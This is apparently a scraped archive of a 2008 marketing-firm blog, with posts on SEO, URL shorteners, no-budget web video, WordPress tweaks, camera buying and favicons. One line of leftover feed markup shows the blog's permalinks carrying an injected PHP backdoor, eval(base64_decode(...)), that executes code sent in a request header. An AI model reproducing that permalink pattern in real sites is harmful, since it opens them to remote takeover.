THE BACKGROUND

Reassuringly, Andrew pointed out that search engine optimization is:

• Not Rocket Science or Voodoo
• Not Free Traffic
• Not “Set It and Forget It”

Too true. Managing search is like caring for a useful pet, perhaps a sheep dog. You want to herd the audience to your content. Andrew called it a “funnel to capture intent.” His metaphor is probably better.

THE 3 PILLARS OF SEARCH

Many pundits try to explain the quantum mechanics of search, but Andrew’s summation seems as good as any. Ranking in search rests on three pillars:

1. Accessibility - Can the search engines find you?
2. Relevance - Who related is your content to a particular search?
3. Credibility - How can the search engines tell if you are an expert?

ACCESSIBILITY

Andrew touted the benefits of Sitemaps to create visibility for search engines. These are not the site maps that viewers may use to find pages on your website. Sitemaps (capital “S”) are code documents that index all your content and provide instructions for search engines.

Andrew noted that many tools exist online to help you generate Sitemaps including Google Webmaster, Yahoo Site Explorer and Sitemaps.org.

RELEVANCE

Want to boost relevance - take a look at the stats for your website or blog. What are the entry keywords - that is, what did people search for that led them to you?

Focus your content on the keywords and concepts most dear to your audience. Use your keywords liberally - in links, headlines, body copy and elsewhere.

Write for humans, not search robots, and you will also keep the audience you attract.

CREDIBILITY

Links from other websites to your content, also called incoming links, build cred with the search ‘bots. One sure fire method to build incoming links to to circulate your content widely.

For example, we’ll repost this blog on ActiveRain, the portal for real estate professionals. We also use Feedburner and other services to notify all the search engines when we post and distribute the content to blog aggregators everywhere.

Finally, Andrew mentioned another of our favorite things: deploying an AddThis button on web pages and blog posts. AddThis and other social buttons give your audience a wealth of ways to share and save your content, including bookmarks, email, Facebook and Twitter.

All this enables more sharing of your content and more external links back to you.

SLIDE SHOW PRESENTATION

Andrew conveniently included his slides in an online slideshow.

WordCamp is great for bloggers of all stripes. Thanks to Matt Walters for organizing WCRVA.

Look for more details soon about WordCamp RDU for folks in the Triangle area of North Carolina.

One of the buzz topics last week was Security & Safety. The issue is URL shortening services.

WHAT IS A URL SHORTENER?

Some URLs run to dozens of characters, making them impractical to use. URL shortening services transform long URLs into short ones, thus:

http://searchengineland.com/analysis-which-url-shortening-service-should-you-use-17204

becomes

http://bit.ly/jphUs

Shortened URLs are particularly important on character-limited status services like Twitter (140 characters max).

4 PROBLEMS AND RISKS OF SHORTENERS

Some shorteners are built in to services like Twhirl. Most can be surfed up on the web or added to your toolbar. Very convenient. But what are you getting? And what are the risks?

1. Transparency - I like to see where I’m going before I click.

2. Who’s monitoring my traffic? By introducing a third party between the user and destination, the issue of trust becomes important. Or, as Ronald Reagan used to say, trust but verify.

3. What if the service goes dead? What happens to my links? All of us use links in our content. It would be bad if those links failed because the service provider went belly up. Is there backup of all transformed links?

4. Bogus redirects - All of us get rickrolled once in a while, but shortened URLs potentially open the door to all kinds of click fraud.

THE SOLUTION: USE BIT.LY

Dozens of services have sprung up, in part to serve the booming Twitterati. Danny Sullivan does an in-depth review in SearchEngineLand.

The short answer: Bit.ly. It’s safe and secure. It also has a couple of very cool features:

LINK STATS - I love stats. Now you can have stats on how often and who clicks on your links. Guess what? This can help shape your content to more accurately match your audience.

PREVIEW PLUGIN - This beta plugin for Firefox gives you a cool Flash popup preview of the destination before you click. Voila! Click fraud defeated.

MORE INFO

Got more questions about URL shorteners or security or using social networks for business? Contact us.

In our new video for Luxe Apothecary, a lot of techniques we’d explored came together in one perfect No-Budget Video (NBV) project. Our experience may be a model for others and has already inspired interesting discussions and new assignments.

The development of an effective No-Budget technique can bring television-quality web video to businesses and content producers of all sizes. Here’s what we learned.

RULE #1

You don’t need a crew and a lot of fancy gear to make quality web video. Here is the single most important technique:

Edit video and sound separately

Lots of inexpensive desktop editing programs provide this capability. For the Mac, we like Final Cut. Perhaps readers can share some favorite programs for the PC.

Once you are free from the tyranny of the soundtrack that is recorded when you are shooting, the whole world of filmic communication opens up to you.

SCRIPT

Even though you have no gear and no crew (and presumably no writer or producer) it does not pay to wing it. We script every project. Here are two useful structures for No-Budget Video:

INTERVIEWER TECHNIQUE

Interviews can be about discovery or they can be a vehicle for a marketing message (i.e. a testimonial). Either way, write out a list of questions.

• • If discovery: what do you want to learn?
  • If marketing: what can you ask that will motivate an appropriate answer?
  • Technique: always have the subject look at the interviewer, not the camera

Here’s an example of discovery that Hal produced for the National Football League. Players and fans were asked to name their “Recipes for Success” during the NFL season.

Here’s an example of the marketing technique in an interview:

Both examples used questions to motivate the subjects on camera. The first cost about $100,000 to produce. The second cost less than $1000.

NARRATOR TECHNIQUE

Another great technique for NBV is narrator-driven. The formula is very easy to shoot:

• • Introduce the narrator on camera
  • Use the narrator’s voice under a series of illustrative shots
  • Close with the narrator once again on camera

Here’s our video for Luxe, an example of the narrator technique:

Gear & Crew for the Luxe shoot:

• Camera - Canon 800 miniDV (costs about $250 new if you can still find it)
• Lights - None
• Crew - Just the director
• Editing - Final Cut Express on a laptop

Time - 1.5 hours to shoot; approx 4 hours to edit

PLANNING

Before you start shooting, look at the script and make a list of the shots you need. Plan a couple of backgrounds for your opening and closing titles. Make a thumbnail schedule of how long each shot should take to get.

SHOOTING

Here are a few basic guidelines to getting good results:

• Keep it simple - no fancy camera moves or zooms
• Get a wide establishing shot
• Tell the story in a series close-ups
• Use a mic if you can for important dialogue or narration
• Use available light if it is soft and indirect
• Get what you need, but don’t overshoot

EDITING

Lastly, a few conventions and helpful hints about editing.

Duration - Keep it short. Two minutes is a lot of time to fill.

Selects - when you load your video into your editing program, slice the raw footage up into “selects” or shorter clips. Label each piece descriptively, for example “Intro, Take 1.”

Grab the Main Pieces - You know you’lll have an intro and an ending. Drop those into place on the timeline. Look at your main selects again. Choose the best two or three clips in the project. Fit those on the timeline. Fill in and build your story.

Titles - Text on screen forms an important part of the message, but don’t overdo it. No one likes to read TV.

Wipes, Flips & Dissolves - Don’t use fancy transition devices like mosaic wipes and flips and cube rolls. It distracts from the message. Use a fade up in the beginning, cuts throughout the body and a fade out at the end. Dissolves are used to connect two same-sized shots or to communicate passage of time.

MORE QUESTIONS ABOUT NO-BUDGET VIDEO?

Are you producing No-Budget Video? Do you have an idea for your business but don’t know how to get it done? Drop us a note.

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Hal Goodtree's work has been honored with a Cannes Lion and Emmy®.

Sure, the blogosphere gets bigger every year. The pool of experts continues to expand (you know you’re one if you read ProBlogger). But even more key, the pool of non-experts is really taking off.

Two things are widening the audience for blogs:

1. Better options for integrating blogs into web pages and social sites
2. “Subscribe by email”

Better Options

Back in the day (last year), you could re-publish your blog as html, allowing you to place it on a web page. Now, you can click a box and syndicate your stuff so it automatically appears on Facebook and Twitter.

Over at WidgetBox, you can build a shiny widget with a few clicks that others can easily use to re-publish your content. About a third of our traffic is coming from off-site syndication.

Bottom line: more people have more places to see your stuff and it doesn’t look like a “blog.”

Subscribe by Email

Feedburner and others give publishers an option to include a “subscribe by email” link. It’s easy to enable - just a few clicks and embed a piece of code.

Feedburner’s email service (free) provides a really clean, professional, business-grade product to the inbox of subscribers. People who “don’t read blogs” are signing up in droves.

Check it out for yourself: Subscribe to our blog by email :)

Call it Anything Else

Call it a Journal or a Notebook or News. Take inspiration from The Sartorialist, Make the Logo Bigger and Slashdot.

Why do we call ours a blog? Cause it’s for experts ;)

For website owners and creators, it’s important to check for broken links. Here’s our favorite broken link checker.

A broken link, of course, is a link that goes nowhere. It’s usually caused by a spelling error or a web address that has moved.

But how to check an entire website for broken links? The easy way is to use a broken link checker.

Lots of link checkers exists on the internet courtesy of private companies and public organizations like the W3C. Our favorite is from Website Goodies:

Website Goodies - Broken Link Check

Just enter the web address of your home page and click on “Check Links.” In moments, you’ll have a complete report on the links in your website.

Even if you have tested your links in the past, it’s good to test again from time to time to ensure the integrity of your web site.

INTRO

Understanding search is easy. People want to find stuff using the internet - boats, doctors, facts. Seekers of information enter a search string, i.e “gigantic yacht” and the search engines display relevant results.

As a business person, you need to know how to get found.

ORGANIC AND PAID SEARCH

Search can be divided into two broad categories: organic and paid.

Organic search refers to the the results displayed by the search engines. Paid search are the sponsored listings which surround the organic results.

According to Forrester Report “U.S. Online Marketing Forecast: 2007-2012,” search engine marketing topped $8.05 billion in 2007 and is projected to grow to $25.3 billion within 5 years:

Organic search is determined by the search robots, complex programs that analyze your website for relevancy to a given search string. Here are a few basics to help your relevancy score in organic search:

1. Use the meta tags - these appear in the “head” section of your web page (visible when you select “view source code” in a browser). The tags that matter are KEYWORDS, TITLE AND DESCRIPTION. More than 50% of all websites leave the meta tags blank, depressing their results in search.
2. Be Honest, be Concise - imagine you have to explain your business to a robot (’cause that’s what you’re doing). Keep it simple; keep it focused.
3. Exact Word Matches Help - Remember, you’re talking to robots. “Doctor” does not equal “doctors.”

Paid search, also called pay-per-click, let’s you display your ad in response to keywords you select. You can define a geographic area, time of day, daily budget and test ad variations. You only pay when your ad is clicked. A good click-through rate is 10%.

The smaller the geography and the more narrow the keywords, the cheaper the cost of PPC advertising. Google AdWords includes a cost estimator and lots of other helpful tools to get started.

Every company should review its search strategy to make sure they are reaping the benefits of the Web 2.0 economy.

]]> http://goodtreecompany.com/wordpress/2008/07/21/basics-of-search/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://goodtreecompany.com/wordpress/2008/06/20/tima-google-seminar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://goodtreecompany.com/wordpress/2008/06/20/tima-google-seminar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 20 Jun 2008 11:35:38 +0000 Hal http://goodtreecompany.com/wordpress/?p=197 TIMA, the Triangle Interactive Marketing Association, had a great seminar on Wednesday presented by Google*.

Hetal Gordon and Tonia Lipscomb from Google covered two broad topics - AdWords and content networks like YouTube. The information was flowing fast and furious, but here are a few interesting items we managed to capture:

• 100 Billion - the number of search queries Google gets in a year.
• 8 Seconds - how long it takes for a viewer to decide whether or not to stay on your site.
• Time of Day - using Google Analytics, you can see precisely when people are spending the most time on your site and adjust an AdWords campaign to maximize this window of opportunity.
• “Feed what’s Working” - Google’s advice about keywords. In a nutshell, when you create an AdWords campaign, focus on what gets the most clicks .
• Google Trends - this is part of the Google Labs suite (it’s a beta product). See what key words and phrases are moving web traffic and adjust your approach accordingly.
• The World’s Largest Focus Group - with Analytics, that’s certainly one way to look at Google.
• 54 Percent - that’s the percentage of people 18-54 who use YouTube. Pork & Beans, anyone?
• Meta Tags Still Matter - So many websites don’t use meta tags, and so many people claim that they don’t matter, I just had to ask the folks from Google: are meta tags obsolete? Answer: Yeah, totally obsolete. Unless you want the search engines to find you.

Thanks to the crew at TIMA and Google for the great seminar!

—————————

* Pictured above (L–>R): Laura St. Onge (TIMA), Louise Gordon (TIMA), Tonia Lipscomb (Google), Hetal Gordon (Google) and Amy Boaz (TIMA).

Add-me.com, a site devoted to search and web tools, has a free online link checker. Just enter the url of your home page and Broken Link Checker delivers a report of active and broken links.

The amount of time the tool takes to process your site depends upon the size of your site. For a site of reasonably modest proportions (50 pages or less), the tool might take 20-30 seconds.

You can also try the W3C link checker, but it’s a little more geeky.

BASIC WEB 2.0 FOR REALTORS

We’re always going on and on about Web 2.0 for Business. It sounds good in theory, but how does it translate for specific business needs?

Julie’s a Realtor®, so the first thing to tackle was pulling in the MLS listings for her area. No biggie. Basically, it’s a snippet of code you can include in a web page along with a unique ID. See it here.

Next, we bolted on a WordPress blog with an old-time theme by GetTemplate. Don’t forget Askimet for security and Google XML Site Map for search. Naturally enough, realtors have a lot to talk about and share, so we re-published the blog on the home page as html using Feedburner.

ADVANCED WEB 2.0 FOR REALTORS

Here’s where it gets interesting.

• Del.icio.us Feed

Julie’s all about knowing the area. The best restaurant - ask Julie. A place to hike? Julie. So how could we build a links page that would be easy for a busy realtor to update? The answer: set up a del.icio.us site for Julie, grab the feed and re-publish it as her Community Info page.

Kudos to George Gumpert for nailing this down. We really love this feature - Julie’s already using it to help differentiate herself from her competition.

• Web Video Testimonial

We used our favorite MiniDV camera for web video, shot outside and plugged in a mic we borrowed from the band. Video can be so much more persuasive than text on the page - see the video for yourself.

STUFF FOR EVERY BUSINESS

• Google Analytics - Every website for business should have Google Analytics. It’s free, it’s fascinating, it’s vital.

• SEO - it pays to get it right with Meta Tags when it comes to the relevancy with your page text. We like SEO Analysis Tool by SEO Workers.

There ya have it - the birth of a new empire. Thanks again Julie!

SEO Workers has a very easy, very useful online tool for analyzing some basic Search Engine Optimization attributes on any web page.

To start just enter the url of any page you’d like to analyze:

In about 2 seconds, you’ll see the results:

Full disclosure - we’ve optimized this page already (that’s why it’s 100%). But it’s a very handy way to check your head tags for relevancy and search engine compliance.

Thanks SEO Workers!

Cory wrote this post back in August of last year, but The First 5 Essential Tweaks is still a terrific checklist for anyone installing a WordPress blog:

1. Install the Google SiteMap plugin - helps search engines find you.
2. Activate Askimet - this is a security plugin pre-loaded in WP. Prevents blogspam.
3. Burn the feed with Feedburner - this distributes and syndicates your blog
4. Change the Permalinks - keep things organized the way you want
5. Use the Contact Form prominently - Cory recommends this plug-in.

We’d add two more:

1. Install a new theme - it’s easy to give your blog a custom look. We like Rockin Themes.
2. Get rid of the Login Meta Data box - this is info most viewers don’t want or need. Change the default in the WP theme editor section of the admin section.

Thanks again to Cory for some succinct advice and lots of great blog design.

Enter your url, hit submit and Web Page Analyzer shows you lots of interesting info about your page:

WPA calculates how long your page takes to load via differnt types of access (dialup, etc). It also suggests remedies for optimization.

Some pages may need bigger files than recommended by Web Page Analyzer, but it’s always welcome to see the arcane science of optimization portrayed in three simple colors.

Try it out on your own web address.

It’s called Sxipper. Sxipper is a free plug-in for use with the Firefox browser (please tell me you’re not still using Internet Explorer).

Sxipper is easy to install (takes less than five minutes, no special skills or hacking required). It’s secure, it’s smart and it’s a massive time-saver. Here’s what they have to say about themselves:

• Always available - appears when needed, so you can log in or fill forms with a single click
• Trustworthy - encrypts your personal data and stores it on your computer
• Accurate form fill - learns from its own users how to complete forms with 100% accuracy with our unique training tool
• OpenID provider - provider of private and public identifiers. Sxipper.com is a secure, phishing-resistant OP, with support for PAPE. Identity 2.0 begins here.
• Easy to install - gathers data from your address book and web browser so that you have a running start

Basically, when you navigate to a site where you need a password (gmail, flickr, your blog), a little dialogue box pops up asking you to choose an identity. For most sites, there’s only one choice (the only time I see more than one is for blogging, but that’s because I write 6 or 7 blogs).

Select an ID and Sxipper logs you in. Simple!

Sxipper also features automatic form fills, a very handy feature. Never type your name and address again.

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A brief word about Firefox. Here at OCDC, we’ve tried (and continue to test our web work) on all the major browsers - IE, Safari, Camino, even Navigator (yuck). Most people continue to use IE because they’re stuck with bad old Web 1.0 habits.

Give Firefox a shot - it’s endlessly customizable to your needs, has a small footprint, is constantly (and automatically) updated and is from the not-for-profit Mozilla org. What’s not to like? Say goodbye to IE and it’s endless pop-ups, hangs and crashes.

Download Firefox and give it a try. You’ll thank me.

The first thing to consider is features – what do you need for video blogging and what’s extraneous?

FEATURES

From our point of view, two features are paramount:

• Digital connectivity
• Microphone In

By digital connectivity, we mean the ability to connect the camera directly to your computer. Generally speaking, Firewire or USB 2.0 are the standards. These come in a variety of flavors (4 pin to 6 pin for example) but all are pretty much equally effective. The key here is to make sure your computer can handle the output from the camera. USB 1.1 is too slow.

Microphone input is the other key feature. Most cameras come equipped with an integrated microphone, but, for our money, this feature leaves a lot to be desired. The camera mounted mic picks up too much ambient noise. It can also pick up the noise of the camera itself including the sound of a tape drive or the mechanical noise of zooming. Some mics even pick up the sound of your hand on the camera.

A few cameras have an accessory shoe, but we prefer a standard audio jack (usually a miniplug). The accessory shoe limits your options and adds cost.

FORMATS

As has been true since the dawn of video cameras, a bewildering array of formats exist in the marketplace. Here’s a condensed run down of formats on the market that make sense for web video:

• Mini DVD
• High-Def
• Mini DV

MINI DVD

Mini-DVD records picture and sound on small format DVDs. The main advantage of this format is that you pop the DVD out of the camera and stick it in your computer. Voila! All your footage is instantly available and can be accessed randomly. But mini DVD has three disadvantages in our opinion:

1. Pretty short run-time in high quality mode, sometimes as little as 20 or 30 minutes.
2. The quality is the worst of the three camera types under consideration (about as bad as VHS)
3. DVDs have questionable longevity. We’ve experienced a flaking off of the emulsion on DVDs in as little as six months. Scratches and fingerprints also compromise the discs. Put it this way – how many bad disks have you gotten from Netflix?

Old skool Hi-8 cameras and Neolithic VHS-C cameras still exist in the marketplace, but those won’t connect directly to your computer. You’ll need a digitzer (sometimes called an Analog to Digital converter). Once again, we’re talking additional expense and hassle, so these formats aren’t ideal for video blogging.

HIGH DEFINITION

No doubt, these cameras are great. Some record on tape, others directly to a hard drive. In the high-def arena, you’ll find a dizzying assortment of recording formats including different aspect ratios (like 16:9) and capture modes (780i and 1080i). Picture and sound quality are generally stellar, but we found two drawbacks for video blogging:

1. HIGH COST – these new cameras are also the most costly on the market. Expect to spend at least $1000 on a high-def camera.
2. OVERKILL – for video blogging, you’ll be shrinking the picture down to a smallish window (320 x 240 or smaller), so all that great picture info is really a waste.

MINI-DV

MiniDV is a tape format. It captures standard definition (NTSC) on inexpensive tapes which are slightly smaller than a credit card (but wider of course). This is our favorite format for video blogging. Here’s why:

1. CHEAP – Mini DV cameras start around $300
2. ARCHIVAL – MiniDV tapes last a long time. When properly stored, the media should be fine well into the next decade of longer.
3. SMALL – Our new miniDV camera is slightly larger than a pack of cigarettes.
4. LONG RECORDING TIME – miniDV tapes come in lengths of up to two hours.

WHICH CAMERA TO BUY

Unfortunately, most manufacturers have been getting rid of the audio-in jack on consumer cameras in favor of flashy features no one really wants. The only cameras still sporting a mic-in jack are made by Canon.

Fortunately, Canon has good lenses, solid construction and long experience in the field. We ended up buying a ZR-800.

OTHER CONSIDERATIONS

BUY A LIGHT – the low light performance of most consumer cameras (including ours) leaves something to be desired. We suggest buying an inexpensive light on a stand that plugs into a standard wall socket. Camera-mounted lights make an ugly picture, so place your light above the subject and about 45 degrees off access for a nice shot. Soften up the light source with an umbrella of diffusion material. Spun glass is nice. Just remember to use something heat resistant.

MICROPHONE – for interviews, we recommend a lavalier. That’s the little mic that clips to a necktie or blouse. One with a hard wire can be had for about $100. A wireless system costs about twice as much.

Happy video blogging!

Themes are designs you can download that alter the look (but not the functionality) of your blog. You can install a new theme anytime you like - all your content stays intact.

1. Browse some themes online

WordPress is open source and a lot of free or shareware themes exist. Start by browsing some of these sites:

• WP Themes
• WordPress Theme Viewer
• Smashing Magazine’s 83 Themes

2. Download a couple of themes you like

Just look for the download button (or link) next to any theme you like. We fancy themes with two or three columns that are widget ready (widgets are handy plugins that addd functionality to your blog).

3. Upload the theme to your server

Most themes download to your computer compressed and expand themselves once they hit your desktop. Upload the uncompressed folder to your server into the directory:

/wp-content/themes/

4. Activate the theme

From the admin panel, selection Presentation from the menu across the top. You’ll see your available themes displayed. Double click on the theme you’d like to make active.

Your done! Click on “View Site” to see your new theme in action.

We’ve installed a new theme - it’s Micfo Web 2.0 Green by Cory Miller.

Keywords are nothing more than the most common terms people use to describe something. But choosing the right keyword can mean this difference between success or failure for your website.

For example, we almost called our website “interactive copywriter.” But a keyword search revealed that “interactive copywriter” was not anywhere near as popular a search string as “online copywriter.” Whew! Good thing we looked.

Keywords can be single terms or multi-word phrases (like “online copywriter”). Using a keyword tool gives you objective data about different words and phrases, an easy way to compare their popularity, helps you discover alternatives and gives you more surety about the words or phrase you choose.

We recommend the Google keyword tool for all online copywriting which involves the creation of keywords and phrases.

Favicons (pronounced fave-IKONZ) are the tiny pics you often see preceding a web address in your browser bar. Here’s ours:

In this post , we’ll tell you how to create your own favicons– it’s so easy, you’ll wonder why you waited.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

1. First, need to create your own favicon artwork. Any graphics program will do – Photoshop, Illustrator, Fireworks, etc. The dimensions need to be 16px square. Yep, it’s small. So keep it simple.

2. Save your art according to these specs:

- Supported file formats: gif, jpg, png, and bmp.
- Use a gif or png with transparency if you require it.
- Maximum file size: 150.00 kB.

3. Now go to Dynamic Drive’s Free Favicon Generator.

Follow the instructions (browse and create icon). The generator will create a file called favicon.ico from your artwork. The generator will also create some html code for you to use on your webpage.

4. Upload your favicon.ico file to the same directory on your website as your index.

5. Add the code to your web page as instructed (just cut and paste it into the head section).

You’re done!

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Special thanks once again to Dynamic Drive for the free favicon generator.

David Pogue, the technology guru for the New York Times, talks about trying to install software for some new fancy 802n routers - article here. Bottom line: the UI is so confusing, opaque and legalistic that Mr. Pogue never gets the routers to run correctly.

Mr. Pogue goes on to do an amusing “installation audit,” detailing where the installation process runs off the tracks (just about everywhere it turns out).

The real problem here is that manufacturers spend untold millions developing high-tech products and bringing them to market, but then let Bob the engineer write the installation process.

Online copywriters, designers and UI architects are skilled at lowering friction and raising the conversion rate in interactive processes. These are precisely the skills that are needed for successful installation design.

Or you could let Bob the engineer do it. I’m sure Mr. Pogue has more columns coming up.

Search was a 6 billion dollar business in 2006 and is projected to grow at 12% in 2007. Over 1/3 of all purchases of goods and services starts with an internet search. Optimizing your Home Page for natural search helps potential customers find your info on the web. In this post, we’ll tell you how to do it yourself in half an hour with basic web skills.

Briefly, search falls into two categories:

• Paid Search – this is where you bid on keywords and pay (usually) by the click
• Natural Search – also called organic search. This is where search engines (like Google, Yahoo and AOL) display your info based upon relevancy.

We’re going to focus on natural search in this post. These recommendations are based upon guidelines from Google and other search engines as well as our own experience with SEO. No fancy skills required – just basic HTML.

Here are 7 things you can do to optimize your Home Page for natural search.

1. KEYWORD SEARCH TOOL – The first thing to do is pick your keywords. There are both free and paid tools on the web that can help you research words or phrases that describe your business or service. We use the Google Keyword Tool (which is free). Decide which keywords best match your product or service. We usually pick two or three keywords and concentrate on those.

2. PAGE TITLE - Many people concentrate on the body copy or esoteric measures like keyword density, but search engines also look at the page title (<title> tag). It helps your “relevancy” score to use your main keyword in the page title.

3. HEADLINE - Search engines also pay attention to the headline or <h1> tag. The same is true for subheads <h2>. A common mistake is to use image text (i.e. a gif or jpg) for headlines, but search engines can’t index image text. Use plain text (html) or your headlines won’t be indexed.

4. BODY COPY – Now weave your keywords into the body copy. The hard part is making it sound natural.

5. META TAGS – Search engines also pay attention to Meta tags. You can find these are in the head section of the html. We recommend using both the “description” and the “keyword” meta tags.

6. AT LEAST 100 WORDS - Many search engines don’t index pages with fewer than 100 words. Some “experts” insist that longer pages perform better in search rankings. While this may be have the whiff of truth, we think over-long pages make deadly reading and ultimately turn off the audience and undermine the message.

7. USE LINKS - Linking your keywords between pages on your web site can also help your search ranking (once again by boosting relevancy).

Search is incredibly complicated and it is evolving everyday. But the recommendations listed above will bring your home page into compliance with the major search engines and lift your search ranking over time.

If you have more questions about search, please contact us.

Design firms are going to have a very good next couple of years updating all those static Web 1.0 silos. Here at OCDC, we were recently discussing just such a project and someone asked “exactly what is the Web 2.0 look?”

Turns out a lot of us had been bookmarking examples for several months. Here are a few sites we think epitomize mainstream Web 2.0 visual design:

Open Ads

Zoom Info

Last FM

Flickr

Springwidgets

So, after careful consideration, here are a few Web 2.0 design principles we pulled together:

1. Lots of white space.
2. Tightly controlled color palettes, with just one or two highlight colors and many shades of gray.
3. Subtly is a major trend in Web 2.0 design. We’ve seen rollovers so subtle you’re not sure if it’s a link or if your monitor is pulsing.
4. Navigation is across the top; subnav drops down a line in Web 2.0 sites. Left nav is pretty much dead.
5. Links often call attention to themselves with color instead of an underline. Most links feature rollover formatting using the :hover pseudoclass.
6. Gratuitous flash has become extinct (thank heavens).

“Damn hard to get away from tabs,” one of our designers lamented. True that. Interestingly, our friends at Womble Carlyle (see yesterday’s post) have a pretty interesting navigational design (sans tabs).

Finally, hats off to Ben Hunt of Scratchmedia in the UK for his thorough and thoughtful survey of current style in web design. Brilliant!